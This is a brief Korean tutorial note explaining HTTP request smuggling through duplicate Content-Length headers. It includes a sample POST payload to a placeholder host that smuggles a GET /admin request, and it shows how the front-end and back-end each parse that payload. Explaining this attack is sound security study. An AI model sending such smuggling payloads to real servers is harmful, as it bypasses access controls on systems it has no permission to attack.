발생 원인
- HTTP Request Header에 Content-Length 헤더 중복 사용
- Front-end: 첫 번째 Content-Length 헤더 우선 해석
- Back-end : 두 번째 Content-Length 헤더 우선 해석
Payload
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Content-Length: 3
foo
GET /admin HTTP/1.1
Host: vulnerable-website.comFront-end 해석
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
foo
GET /admin HTTP/1.1
Host: vulnerable-website.comFront-end의 경우 첫 번째 Content-Length 헤더를 우선 한다 가정, 이후 GET 요청은 body의 일부로 해석
Back-end 해석
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
fooGET /admin HTTP/1.1
Host: vulnerable-website.comBack-end의 경우 두 번째 Content-Length 헤더를 우선한다 가정, 이후 GET 요청은 새로운 요청으로 분기